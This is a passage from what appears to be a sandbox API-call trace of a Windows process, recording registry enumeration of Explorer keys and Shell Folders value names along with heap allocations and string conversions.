CodePage=0x0, dwFlags=0x0, lpWideCharStr="clsid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0030.360] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clsid", cchWideChar=5, lpMultiByteStr=0x38c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clsid", lpUsedDefaultChar=0x0) returned 5 [0030.360] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.360] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.360] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.360] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.360] RegEnumKeyW (in: hKey=0x104, dwIndex=0x9, lpName=0x1d99d18, cchName=0x104 | out: lpName="ComDlg32") returned 0x0 [0030.360] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comdlg32", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0030.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comdlg32", cchWideChar=8, lpMultiByteStr=0x38c240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comdlg32", lpUsedDefaultChar=0x0) returned 8 [0030.361] RegEnumKeyW (in: hKey=0x104, dwIndex=0xa, lpName=0x1d99d18, cchName=0x104 | out: lpName="Discardable") returned 0x0 [0030.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discardable", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0030.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discardable", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discardable", lpUsedDefaultChar=0x0) returned 11 [0030.361] RegEnumKeyW (in: hKey=0x104, dwIndex=0xb, lpName=0x1d99d18, cchName=0x104 | out: lpName="FileExts") returned 0x0 [0030.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileexts", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0030.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileexts", cchWideChar=8, lpMultiByteStr=0x38c240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileexts", lpUsedDefaultChar=0x0) returned 8 [0030.361] RegEnumKeyW (in: hKey=0x104, dwIndex=0xc, lpName=0x1d99d18, cchName=0x104 | out: lpName="LowRegistry") returned 0x0 [0030.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lowregistry", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0030.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lowregistry", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lowregistry", lpUsedDefaultChar=0x0) returned 11 [0030.361] RegEnumKeyW (in: hKey=0x104, dwIndex=0xd, lpName=0x1d99d18, cchName=0x104 | out: lpName="MenuOrder") returned 0x0 [0030.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="menuorder", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0030.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="menuorder", cchWideChar=9, lpMultiByteStr=0x38c240, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="menuorder", lpUsedDefaultChar=0x0) returned 9 [0030.361] RegEnumKeyW (in: hKey=0x104, dwIndex=0xe, lpName=0x1d99d18, cchName=0x104 | out: lpName="Modules") returned 0x0 [0030.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modules", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0030.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modules", cchWideChar=7, lpMultiByteStr=0x38c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modules", lpUsedDefaultChar=0x0) returned 7 [0030.361] RegEnumKeyW (in: hKey=0x104, dwIndex=0xf, lpName=0x1d99d18, cchName=0x104 | out: lpName="MountPoints2") returned 0x0 [0030.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountpoints2", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0030.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountpoints2", cchWideChar=12, lpMultiByteStr=0x38c240, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountpoints2", lpUsedDefaultChar=0x0) returned 12 [0030.361] RegEnumKeyW (in: hKey=0x104, dwIndex=0x10, lpName=0x1d99d18, cchName=0x104 | out: lpName="NewShortcutHandlers") returned 0x0 [0030.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="newshortcuthandlers", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0030.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="newshortcuthandlers", cchWideChar=19, lpMultiByteStr=0x38c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="newshortcuthandlers", lpUsedDefaultChar=0x0) returned 19 [0030.362] RegEnumKeyW (in: hKey=0x104, dwIndex=0x11, lpName=0x1d99d18, cchName=0x104 | out: lpName="RecentDocs") returned 0x0 [0030.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="recentdocs", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0030.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="recentdocs", cchWideChar=10, lpMultiByteStr=0x38c240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="recentdocs", lpUsedDefaultChar=0x0) returned 10 [0030.362] RegEnumKeyW (in: hKey=0x104, dwIndex=0x12, lpName=0x1d99d18, cchName=0x104 | out: lpName="RunMRU") returned 0x0 [0030.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="runmru", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0030.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="runmru", cchWideChar=6, lpMultiByteStr=0x38c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="runmru", lpUsedDefaultChar=0x0) returned 6 [0030.362] RegEnumKeyW (in: hKey=0x104, dwIndex=0x13, lpName=0x1d99d18, cchName=0x104 | out: lpName="SearchPlatform") returned 0x0 [0030.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchplatform", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0030.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchplatform", cchWideChar=14, lpMultiByteStr=0x38c240, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="searchplatform", lpUsedDefaultChar=0x0) returned 14 [0030.362] RegEnumKeyW (in: hKey=0x104, dwIndex=0x14, lpName=0x1d99d18, cchName=0x104 | out: lpName="Shell Folders") returned 0x0 [0030.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shell folders", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0030.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shell folders", cchWideChar=13, lpMultiByteStr=0x38c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shell folders", lpUsedDefaultChar=0x0) returned 13 [0030.362] RegOpenKeyExW (in: hKey=0x104, lpSubKey="Shell Folders", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f8cc | out: phkResult=0x18f8cc*=0xec) returned 0x0 [0030.363] RegCloseKey (hKey=0x104) returned 0x0 [0030.363] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0030.363] RegEnumValueA (in: hKey=0xec, dwIndex=0x0, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="!Do not use this registry key", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.363] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x10) returned 0x38d630 [0030.363] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d278 [0030.363] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0030.363] RegEnumValueA (in: hKey=0xec, dwIndex=0x1, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="AppData", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.363] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d268 [0030.363] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.363] RegEnumValueA (in: hKey=0xec, dwIndex=0x2, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Local AppData", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.363] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d258 [0030.363] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.363] RegEnumValueA (in: hKey=0xec, dwIndex=0x3, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Video", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.363] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d2f8 [0030.363] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c0d8 [0030.363] RegEnumValueA (in: hKey=0xec, dwIndex=0x4, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.363] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x20) returned 0x38bc08 [0030.363] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38d630) returned 1 [0030.363] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d308 [0030.363] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c900 [0030.363] RegEnumValueA (in: hKey=0xec, dwIndex=0x5, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Pictures", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.363] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d318 [0030.363] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c948 [0030.363] RegEnumValueA (in: hKey=0xec, dwIndex=0x6, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Desktop", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.363] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d328 [0030.364] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c990 [0030.364] RegEnumValueA (in: hKey=0xec, dwIndex=0x7, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="History", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.364] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d338 [0030.364] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c9d8 [0030.364] RegEnumValueA (in: hKey=0xec, dwIndex=0x8, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="NetHood", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.364] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x30) returned 0x38ff98 [0030.364] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38bc08) returned 1 [0030.364] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d348 [0030.364] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38ca20 [0030.364] RegEnumValueA (in: hKey=0xec, dwIndex=0x9, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{56784854-C6CB-462B-8169-88E350ACB882}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.364] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d358 [0030.364] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38ca68 [0030.364] RegEnumValueA (in: hKey=0xec, dwIndex=0xa, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Cookies", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.364] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d368 [0030.364] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38cab0 [0030.364] RegEnumValueA (in: hKey=0xec, dwIndex=0xb, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Favorites", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.364] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d378 [0030.364] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38caf8 [0030.364] RegEnumValueA (in: hKey=0xec, dwIndex=0xc, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SendTo", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.364] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38cb40 [0030.364] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38ff98) returned 1 [0030.364] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d388 [0030.364] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38cb88 [0030.364] RegEnumValueA (in: hKey=0xec, dwIndex=0xd, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start Menu", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.364] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d398 [0030.364] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38cbd0 [0030.364] RegEnumValueA (in: hKey=0xec, dwIndex=0xe, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Music", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.364] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d3a8 [0030.364] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x1d92970 [0030.365] RegEnumValueA (in: hKey=0xec, dwIndex=0xf, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Programs", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.365] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d3b8 [0030.365] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x1d929b8 [0030.365] RegEnumValueA (in: hKey=0xec, dwIndex=0x10, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Recent", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.365] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x50) returned 0x38dd90 [0030.365] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38cb40) returned 1 [0030.365] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d3c8 [0030.365] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38cb40 [0030.365] RegEnumValueA (in: hKey=0xec, dwIndex=0x11, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="CD Burning", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.365] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d3d8 [0030.365] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x1d92a00 [0030.365] RegEnumValueA (in: hKey=0xec, dwIndex=0x12, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PrintHood", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.365] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d3e8 [0030.365] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x1d92a48 [0030.365] RegEnumValueA (in: hKey=0xec, dwIndex=0x13, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{7D1D3A04-DEBB-4115-95CF-2F29DA2920DA}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.365] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d3f8 [0030.365] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x1d92a90 [0030.365] RegEnumValueA (in: hKey=0xec, dwIndex=0x14, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{374DE290-123F-4565-9164-39C4925E467B}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.365] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x60) returned 0x1d99d18 [0030.365] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38dd90) returned 1 [0030.365] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d408 [0030.365] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x1d92ad8 [0030.365] RegEnumValueA (in: hKey=0xec, dwIndex=0x15, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{A520A1A4-1780-4FF6-BD18-167343C5AF16}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.365] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d418 [0030.365] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x1d92b20 [0030.365] RegEnumValueA (in: hKey=0xec, dwIndex=0x16, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Startup", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.365] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d428 [0030.365] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x1d92b68 [0030.366] RegEnumValueA (in: hKey=0xec, dwIndex=0x17, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Administrative Tools", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.366] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d438 [0030.366] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x1d92bb0 [0030.366] RegEnumValueA (in: hKey=0xec, dwIndex=0x18, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Personal", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.366] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x70) returned 0x38dd90 [0030.366] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d99d18) returned 1 [0030.366] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d448 [0030.366] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x1d92bf8 [0030.366] RegEnumValueA (in: hKey=0xec, dwIndex=0x19, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{BFB9D5E0-C6A9-404C-B2B2-AE6DB6AF4968}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.366] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d458 [0030.366] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x1d92c40 [0030.366] RegEnumValueA (in: hKey=0xec, dwIndex=0x1a, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Cache", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.366] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d468 [0030.366] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x1d92c88 [0030.366] RegEnumValueA (in: hKey=0xec, dwIndex=0x1b, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Templates", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.366] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d478 [0030.366] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x1d92cd0 [0030.366] RegEnumValueA (in: hKey=0xec, dwIndex=0x1c, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{4C5C32FF-BB9D-43B0-B5B4-2D72E54EAAA4}", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.366] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0030.366] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38dd90) returned 1 [0030.366] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d488 [0030.366] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x1d92d18 [0030.366] RegEnumValueA (in: hKey=0xec, dwIndex=0x1d, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Fonts", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0030.366] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x8) returned 0x38d498 [0030.366] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x1d92d60 [0030.366] RegEnumValueA (in: hKey=0xec, dwIndex=0x1e, lpValueName=0x18f804, lpcchValueName=0x18f800, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Fonts", lpcchValueName=0x18f800, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0030.366] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.366] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x1d92da8 [0030.367] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d92da8) returned 1 [0030.367] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x1d92da8 [0030.367] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x1d92da8) returned 1 [0030.367] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x1d92da8 [0030.367] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38c240, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0030.367] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0030.367] 